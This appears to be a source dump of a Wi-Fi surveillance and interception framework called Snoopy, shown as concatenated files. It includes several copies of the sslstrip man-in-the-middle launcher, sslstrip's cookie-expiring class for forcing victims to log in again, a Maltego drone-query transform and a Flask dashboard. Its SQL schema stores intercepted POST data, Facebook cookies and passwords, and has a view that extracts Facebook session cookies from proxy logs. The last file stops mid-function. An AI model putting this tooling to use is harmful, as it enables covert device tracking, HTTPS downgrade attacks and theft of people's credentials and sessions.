end_time=now+datetime.timedelta(seconds=lookback) 38 | 39 | # Maltego requires format e.g 2012-10-23 22:37:12.0 40 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 41 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 42 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 43 | 44 | if 'location' in m.AdditionalFields: 45 | location=m.AdditionalFields['location'] 46 | else: 47 | location="%" 48 | 49 | 50 | logging.debug("-----------------") 51 | 52 | logging.debug("1. Currenttime -%s, Start time - %s, End time - %s" %(now,start_time,end_time)) 53 | try: 54 | 55 | logging.debug("select DISTINCT drone_conf.id from dhcp_leases inner join mac_vendor on mac_prefix=mac_vendor.mac inner join squid_logs on client_ip=dhcp_leases.ip inner join drone_conf on drone_conf.ip_prefix=dhcp_leases.ip_prefix WHERE squid_logs.timestamp > %s AND squid_logs.timestamp < %s UNION SELECT DISTINCT monitor_id FROM probes WHERE timestamp > %s AND timestamp < %s AND location LIKE %s" % (start_time,end_time,start_time,end_time,location)) 56 | cursor.execute("select DISTINCT drone_conf.id from dhcp_leases inner join mac_vendor on mac_prefix=mac_vendor.mac inner join squid_logs on client_ip=dhcp_leases.ip inner join drone_conf on drone_conf.ip_prefix=dhcp_leases.ip_prefix WHERE squid_logs.timestamp > %s AND squid_logs.timestamp < %s UNION SELECT DISTINCT monitor_id FROM probes WHERE timestamp > %s AND timestamp < %s AND location LIKE %s", (start_time,end_time,start_time,end_time,location)) 57 | 58 | # cursor.execute("select DISTINCT drone_conf.id from dhcp_leases inner join mac_vendor on mac_prefix=mac_vendor.mac inner join squid_logs on client_ip=dhcp_leases.ip inner join drone_conf on drone_conf.ip_prefix=dhcp_leases.ip_prefix WHERE squid_logs.timestamp > %s AND squid_logs.timestamp < %s UNION SELECT DISTINCT monitor_id FROM proximity_sessions WHERE last_probe > %s AND last_probe < %s AND location LIKE %s", (start_time,end_time,start_time,end_time,location)) 59 | results=cursor.fetchall() 60 | 61 | logging.debug("Observed drone count: %d" %len(results)) 62 | 63 | for row in results: 64 | logging.debug("2. Currenttime -%s, Start time - %s, End time - %s" %(now,start_time,end_time)) 65 | drone=row[0] 66 | NewEnt=TRX.addEntity("snoopy.Drone", row[0]); 67 | NewEnt.addAdditionalFields("drone","drone", "strict", row[0]) 68 | NewEnt.addAdditionalFields("start_time","Start time", "nostrict", start_time) 69 | NewEnt.addAdditionalFields("end_time","End time", "nostrict", end_time) 70 | # NewEnt.addAdditionalFields("location","location", "strict", location) 71 | 72 | NewEnt.addAdditionalFields("start_time_txt","Start time_txt", "nostrict", start_time) 73 | NewEnt.addAdditionalFields("end_time_txt","End time_txt", "nostrict", end_time) 74 | 75 | 76 | NewEnt.addAdditionalFields("current_time","current_time","nostrict",now) 77 | 78 | 79 | except Exception, e: 80 | logging.debug("Exception:") 81 | logging.debug(e) 82 | 83 | 84 | TRX.returnOutput() 85 | 86 | main() 87 | 88 | -------------------------------------------------------------------------------- /snoopy/server/setup/db_setup.sql: -------------------------------------------------------------------------------- 1 | DROP database IF EXISTS snoopy; 2 | 3 | CREATE database snoopy charset=utf8; 4 | use snoopy; 5 | 6 | GRANT ALL on snoopy .* TO snoopy@'localhost' IDENTIFIED BY 'RANDOMPASSWORDGOESHERE'; 7 | FLUSH PRIVILEGES; 8 | 9 | CREATE TABLE sslstrip( 10 | timestamp DATETIME, 11 | secure TINYINT, 12 | host VARCHAR(50), 13 | domain VARCHAR(50), 14 | src_ip VARCHAR(16), 15 | url VARCHAR(70), 16 | post VARCHAR(400) 17 | ); 18 | 19 | CREATE TABLE facebook( 20 | id VARCHAR(20), 21 | ip VARCHAR(20), 22 | name VARCHAR(100), 23 | first_name VARCHAR(100), 24 | last_name VARCHAR(100), 25 | link VARCHAR(100), 26 | username VARCHAR(100), 27 | gender VARCHAR(10), 28 | locale VARCHAR(40), 29 | network VARCHAR(40), 30 | it VARCHAR(20), 31 | degree INT, 32 | cookie TEXT, 33 | password VARCHAR(50), 34 | 35 | PRIMARY KEY(id) 36 | ); 37 | 38 | CREATE TABLE facebook_friends( 39 | id VARCHAR(20), 40 | friend_id VARCHAR(20) 41 | ); 42 | 43 | 44 | CREATE TABLE probes( 45 | monitor_id VARCHAR(20), INDEX(monitor_id), 46 | device_mac VARCHAR(12), INDEX(device_mac), 47 | location VARCHAR(200), 48 | probe_ssid varchar(100), INDEX(probe_ssid), 49 | signal_db INT(11), 50 | timestamp DATETIME, INDEX(timestamp), 51 | run_id VARCHAR(20), 52 | proximity_session VARCHAR(20), 53 | priority TINYINT, 54 | mac_prefix VARCHAR(6), INDEX(mac_prefix), 55 | PRIMARY KEY(monitor_id,device_mac,probe_ssid,timestamp) 56 | ); 57 | 58 | CREATE TABLE gps_movement( 59 | monitor_id VARCHAR(20), 60 | run_id VARCHAR(20), 61 | timestamp DATETIME, 62 | gps_lat decimal(8,6), 63 | gps_long decimal(8,6), 64 | accuracy decimal(8,6), 65 | PRIMARY KEY(monitor_id, timestamp) 66 | ); 67 | 68 | CREATE TABLE wigle( 69 | ssid VARCHAR(100), INDEX(ssid), 70 | gps_long decimal(11,8), 71 | gps_lat decimal(11,8), 72 | last_update DATETIME, 73 | mac VARCHAR(12), 74 | overflow SMALLINT(6), 75 | country VARCHAR(30), 76 | code VARCHAR(10), 77 | address VARCHAR(200) 78 | ); 79 | 80 | CREATE TABLE dhcp_leases( 81 | mac CHAR(12), 82 | ip VARCHAR(16), INDEX(ip), 83 | hostname VARCHAR(40), 84 | expire DATETIME, 85 | mac_prefix CHAR(6), INDEX (mac_prefix), 86 | ip_prefix VARCHAR(7), INDEX (ip_prefix), 87 | PRIMARY KEY(mac,ip) 88 | ); 89 | 90 | CREATE TABLE squid_logs( 91 | timestamp DATETIME, 92 | client_ip VARCHAR(16), INDEX(client_ip), 93 | http_code INT, 94 | method VARCHAR(4), 95 | domain VARCHAR(50), 96 | host VARCHAR(50), 97 | url TEXT, 98 | ua VARCHAR(200), 99 | cookies TEXT 100 | ); 101 | 102 | CREATE TABLE drone_conf( 103 | id VARCHAR(30), 104 | comment VARCHAR(50), 105 | ip_tap VARCHAR(16), 106 | ip_wifi VARCHAR(16), 107 | ip_prefix VARCHAR(7), INDEX(ip_prefix), 108 | download_link VARCHAR(32) 109 | ); 110 | 111 | CREATE TABLE mac_vendor( 112 | mac VARCHAR(6), INDEX(mac), 113 | vendor_short VARCHAR(12), 114 | vendor_long VARCHAR(30) 115 | ); 116 | 117 | 118 | CREATE TABLE snoopy_user ( 119 | id int(11) NOT NULL AUTO_INCREMENT, 120 | name varchar(255), 121 | password varchar(255) NOT NULL, 122 | is_admin tinyint(1) NOT NULL, 123 | PRIMARY KEY (id), 124 | UNIQUE KEY name (name) 125 | ); 126 | 127 | CREATE VIEW get_fb_from_squid AS SELECT SUBSTRING(cookies,7+(SELECT LOCATE("c_user",cookies)),(SELECT (LOCATE(";",cookies, (SELECT LOCATE("c_user",cookies)))) -(SELECT LOCATE("c_user",cookies)+7))) as c_user, cookies,client_ip FROM squid_logs WHERE cookies LIKE '%c_user%' GROUP BY c_user; 128 | 129 | CREATE VIEW snoopy_web_logs AS 130 | SELECT DISTINCT id AS drone_id,mac,squid_logs.client_ip,hostname AS client_hostname,domain,host,url,ua,cookies,timestamp 131 | FROM 132 | drone_conf, 133 | squid_logs, 134 | dhcp_leases 135 | 136 | WHERE 137 | SUBSTRING(drone_conf.ip_wifi,1,LOCATE('.', drone_conf.ip_wifi, LOCATE('.', drone_conf.ip_wifi)+1)) = SUBSTRING(squid_logs.client_ip,1,LOCATE('.',squid_logs.client_ip, LOCATE('.',squid_logs.client_ip)+1)) 138 | AND squid_logs.client_ip=dhcp_leases.ip; 139 | 140 | CREATE VIEW proximity_sessions AS 141 | SELECT monitor_id,location,device_mac, MIN(timestamp) AS first_probe,MAX(timestamp) AS last_probe,MAX(timestamp)-MIN(timestamp) AS duration, mac_vendor.vendor_short FROM probes, mac_vendor WHERE probes.mac_prefix=mac_vendor.mac GROUP BY monitor_id,proximity_session ORDER BY first_probe; 142 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Usage: sslstrip \n" 41 | print "Options:" 42 | print "-w , --write= Specify file to log to (optional)." 43 | print "-p , --post Log only SSL POSTs. (default)" 44 | print "-s , --ssl Log all SSL traffic to and from server." 45 | print "-a , --all Log all SSL and HTTP traffic to and from server." 46 | print "-l , --listen= Port to listen on (default 10000)." 47 | print "-f , --favicon Substitute a lock favicon on secure requests." 48 | print "-k , --killsessions Kill sessions in progress." 49 | print "-h Print this help message." 50 | print "" 51 | 52 | def parseOptions(argv): 53 | logFile = 'sslstrip.log' 54 | logLevel = logging.WARNING 55 | listenPort = 10000 56 | spoofFavicon = False 57 | killSessions = False 58 | 59 | try: 60 | opts, args = getopt.getopt(argv, "hw:l:psafk", 61 | ["help", "write=", "post", "ssl", "all", "listen=", 62 | "favicon", "killsessions"]) 63 | 64 | for opt, arg in opts: 65 | if opt in ("-h", "--help"): 66 | usage() 67 | sys.exit() 68 | elif opt in ("-w", "--write"): 69 | logFile = arg 70 | elif opt in ("-p", "--post"): 71 | logLevel = logging.WARNING 72 | elif opt in ("-s", "--ssl"): 73 | logLevel = logging.INFO 74 | elif opt in ("-a", "--all"): 75 | logLevel = logging.DEBUG 76 | elif opt in ("-l", "--listen"): 77 | listenPort = arg 78 | elif opt in ("-f", "--favicon"): 79 | spoofFavicon = True 80 | elif opt in ("-k", "--killsessions"): 81 | killSessions = True 82 | 83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 84 | 85 | except getopt.GetoptError: 86 | usage() 87 | sys.exit(2) 88 | 89 | def main(argv): 90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 91 | 92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 93 | filename=logFile, filemode='a') 94 | 95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 96 | CookieCleaner.getInstance().setEnabled(killSessions) 97 | 98 | strippingFactory = http.HTTPFactory(timeout=10) 99 | strippingFactory.protocol = StrippingProxy 100 | 101 | reactor.listenTCP(int(listenPort), strippingFactory) 102 | 103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 104 | 105 | reactor.run() 106 | 107 | if __name__ == '__main__': 108 | main(sys.argv[1:]) 109 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/scripts-2.7/sslstrip: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Usage: sslstrip \n" 41 | print "Options:" 42 | print "-w , --write= Specify file to log to (optional)." 43 | print "-p , --post Log only SSL POSTs. (default)" 44 | print "-s , --ssl Log all SSL traffic to and from server." 45 | print "-a , --all Log all SSL and HTTP traffic to and from server." 46 | print "-l , --listen= Port to listen on (default 10000)." 47 | print "-f , --favicon Substitute a lock favicon on secure requests." 48 | print "-k , --killsessions Kill sessions in progress." 49 | print "-h Print this help message." 50 | print "" 51 | 52 | def parseOptions(argv): 53 | logFile = 'sslstrip.log' 54 | logLevel = logging.WARNING 55 | listenPort = 10000 56 | spoofFavicon = False 57 | killSessions = False 58 | 59 | try: 60 | opts, args = getopt.getopt(argv, "hw:l:psafk", 61 | ["help", "write=", "post", "ssl", "all", "listen=", 62 | "favicon", "killsessions"]) 63 | 64 | for opt, arg in opts: 65 | if opt in ("-h", "--help"): 66 | usage() 67 | sys.exit() 68 | elif opt in ("-w", "--write"): 69 | logFile = arg 70 | elif opt in ("-p", "--post"): 71 | logLevel = logging.WARNING 72 | elif opt in ("-s", "--ssl"): 73 | logLevel = logging.INFO 74 | elif opt in ("-a", "--all"): 75 | logLevel = logging.DEBUG 76 | elif opt in ("-l", "--listen"): 77 | listenPort = arg 78 | elif opt in ("-f", "--favicon"): 79 | spoofFavicon = True 80 | elif opt in ("-k", "--killsessions"): 81 | killSessions = True 82 | 83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 84 | 85 | except getopt.GetoptError: 86 | usage() 87 | sys.exit(2) 88 | 89 | def main(argv): 90 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 91 | 92 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 93 | filename=logFile, filemode='w') 94 | 95 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 96 | CookieCleaner.getInstance().setEnabled(killSessions) 97 | 98 | strippingFactory = http.HTTPFactory(timeout=10) 99 | strippingFactory.protocol = StrippingProxy 100 | 101 | reactor.listenTCP(int(listenPort), strippingFactory) 102 | 103 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 104 | 105 | reactor.run() 106 | 107 | if __name__ == '__main__': 108 | main(sys.argv[1:]) 109 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = "Moxie Marlinspike" 6 | __email__ = "moxie@thoughtcrime.org" 7 | __license__= """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | from twisted.web import http 28 | from twisted.internet import reactor 29 | 30 | from sslstrip.StrippingProxy import StrippingProxy 31 | from sslstrip.URLMonitor import URLMonitor 32 | from sslstrip.CookieCleaner import CookieCleaner 33 | 34 | import sys, getopt, logging, traceback, string, os 35 | 36 | gVersion = "0.9" 37 | 38 | def usage(): 39 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike" 40 | print "Usage: sslstrip \n" 41 | print "Options:" 42 | print "-w , --write= Specify file to log to (optional)." 43 | print "-p , --post Log only SSL POSTs. (default)" 44 | print "-s , --ssl Log all SSL traffic to and from server." 45 | print "-a , --all Log all SSL and HTTP traffic to and from server." 46 | print "-l , --listen= Port to listen on (default 10000)." 47 | print "-f , --favicon Substitute a lock favicon on secure requests." 48 | print "-k , --killsessions Kill sessions in progress." 49 | print "-h Print this help message." 50 | print "" 51 | 52 | def parseOptions(argv): 53 | logFile = 'sslstrip.log' 54 | logLevel = logging.WARNING 55 | listenPort = 10000 56 | spoofFavicon = False 57 | killSessions = False 58 | 59 | try: 60 | opts, args = getopt.getopt(argv, "hw:l:psafk", 61 | ["help", "write=", "post", "ssl", "all", "listen=", 62 | "favicon", "killsessions"]) 63 | 64 | for opt, arg in opts: 65 | if opt in ("-h", "--help"): 66 | usage() 67 | sys.exit() 68 | elif opt in ("-w", "--write"): 69 | logFile = arg 70 | elif opt in ("-p", "--post"): 71 | logLevel = logging.WARNING 72 | elif opt in ("-s", "--ssl"): 73 | logLevel = logging.INFO 74 | elif opt in ("-a", "--all"): 75 | logLevel = logging.DEBUG 76 | elif opt in ("-l", "--listen"): 77 | listenPort = arg 78 | elif opt in ("-f", "--favicon"): 79 | spoofFavicon = True 80 | elif opt in ("-k", "--killsessions"): 81 | killSessions = True 82 | 83 | return (logFile, logLevel, listenPort, spoofFavicon, killSessions) 84 | 85 | except getopt.GetoptError: 86 | usage() 87 | sys.exit(2) 88 | 89 | def main(argv): 90 | print argv 91 | print type(argv) 92 | 93 | (logFile, logLevel, listenPort, spoofFavicon, killSessions) = parseOptions(argv) 94 | 95 | logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s', 96 | filename=logFile, filemode='a') 97 | 98 | URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) 99 | CookieCleaner.getInstance().setEnabled(killSessions) 100 | 101 | strippingFactory = http.HTTPFactory(timeout=10) 102 | strippingFactory.protocol = StrippingProxy 103 | 104 | reactor.listenTCP(int(listenPort), strippingFactory) 105 | 106 | print "\nsslstrip " + gVersion + " by Moxie Marlinspike running..." 107 | 108 | reactor.run() 109 | 110 | if __name__ == '__main__': 111 | main(sys.argv[1:]) 112 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/web/main.py: -------------------------------------------------------------------------------- 1 | import logging 2 | #log = logging.getLogger('snoopy') 3 | 4 | from beaker.middleware import SessionMiddleware 5 | from flask import Flask, jsonify, request, redirect, render_template, url_for 6 | from sqlalchemy import distinct, func 7 | 8 | from snoopy import config, db, pluginregistry 9 | 10 | from snoopy.web import login_required 11 | 12 | 13 | app = Flask('snoopy') 14 | 15 | @app.route('/') 16 | @login_required 17 | def main(): 18 | return render_template('main.html') 19 | 20 | 21 | @app.route('/login') 22 | def login(): 23 | beaker = request.environ['beaker.session'] 24 | if beaker.has_key('userid'): 25 | return redirect(url_for('main')) 26 | else: 27 | return render_template('login.html') 28 | 29 | 30 | @app.route('/login', methods=['POST']) 31 | def perform_login_json(): 32 | username = request.form.get('username', '') 33 | password = request.form.get('password', '') 34 | user = db.User.check_password(username, password) 35 | if user: 36 | beaker = request.environ['beaker.session'] 37 | beaker['userid'] = user.id 38 | beaker.save() 39 | return jsonify(success=True) 40 | return jsonify(success=False) 41 | 42 | 43 | @app.route('/logout') 44 | def logout(): 45 | beaker = request.environ['beaker.session'] 46 | del beaker['userid'] 47 | beaker.save() 48 | return redirect(url_for('login')) 49 | 50 | 51 | @app.route('/drone/list', methods=['POST']) 52 | @login_required 53 | def drone_list_json(): 54 | try: 55 | with db.SessionCtx() as session: 56 | devlist = session.query( 57 | db.Probe.monitor, func.count(distinct(db.Probe.device_mac)) 58 | ).group_by(db.Probe.monitor).all() 59 | devlist = [dict(zip(('devname', 'n_macs'), d)) for d in devlist] 60 | return jsonify(success=True, drones=devlist) 61 | except Exception: 62 | logging.exception('Error getting monitor list:') 63 | return jsonify(success=False, errors=['Internal error']) 64 | 65 | 66 | @app.route('/client/list', methods=['POST']) 67 | @login_required 68 | def client_list_json(): 69 | if not request.form.has_key('monitor'): 70 | logging.error('No monitor specified. This should not happen.') 71 | return jsonify(success=True, clients=[]) 72 | monitor = request.form['monitor'] 73 | try: 74 | with db.SessionCtx() as session: 75 | clients = session.query( 76 | db.Probe.device_mac, 77 | func.count(distinct(db.Probe.proximity_session)).label('cnt') 78 | ) 79 | if monitor != '*': 80 | clients = clients.filter_by(monitor=monitor) 81 | clients = clients.group_by(db.Probe.device_mac) 82 | clients = clients.order_by('cnt DESC').all() 83 | clients = [{'mac': c[0], 'n_sessions': c[1]} for c in clients] 84 | return jsonify(success=True, clients=clients) 85 | except Exception: 86 | logging.exception('Error getting probed device list:') 87 | return jsonify(success=False, errors=['Internal error']) 88 | 89 | 90 | @app.route('/client/data/get', methods=['POST']) 91 | @login_required 92 | def client_data_get(): 93 | mac = request.form.get('mac', None) 94 | if not mac: 95 | return jsonify(success=False, errors=['Invalid request']) 96 | cldata = {} 97 | for fn, options in pluginregistry.plugins['client-data'].iteritems(): 98 | cldata[options['name']] = dict(title=options['title'], data=fn(mac)) 99 | return jsonify(success=True, client_data=cldata) 100 | 101 | 102 | @app.route('/plugin/list', methods=['POST']) 103 | @login_required 104 | def plugin_list(): 105 | if request.form.get('group'): 106 | group = request.form.get('group') 107 | groupfilter = lambda x: x == group 108 | else: 109 | groupfilter = lambda x: True 110 | 111 | plugindata = [] 112 | for group, plugins in pluginregistry.plugins.iteritems(): 113 | if not groupfilter(group): 114 | continue 115 | for fn, options in plugins.iteritems(): 116 | if 'js' in options: 117 | plugindata.append({'jsurl': options['js']}) 118 | return jsonify(success=True, plugins=plugindata) 119 | 120 | 121 | #################################################### 122 | 123 | 124 | def start(): 125 | config.from_sysargv() 126 | db.init(None) 127 | pluginregistry.collect() 128 | app.wsgi_app = SessionMiddleware(app.wsgi_app, config['beaker']) 129 | app.config.update(config['flask']) 130 | app.run(host='0.0.0.0') 131 | 132 | if __name__ == '__main__': 133 | start() 134 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 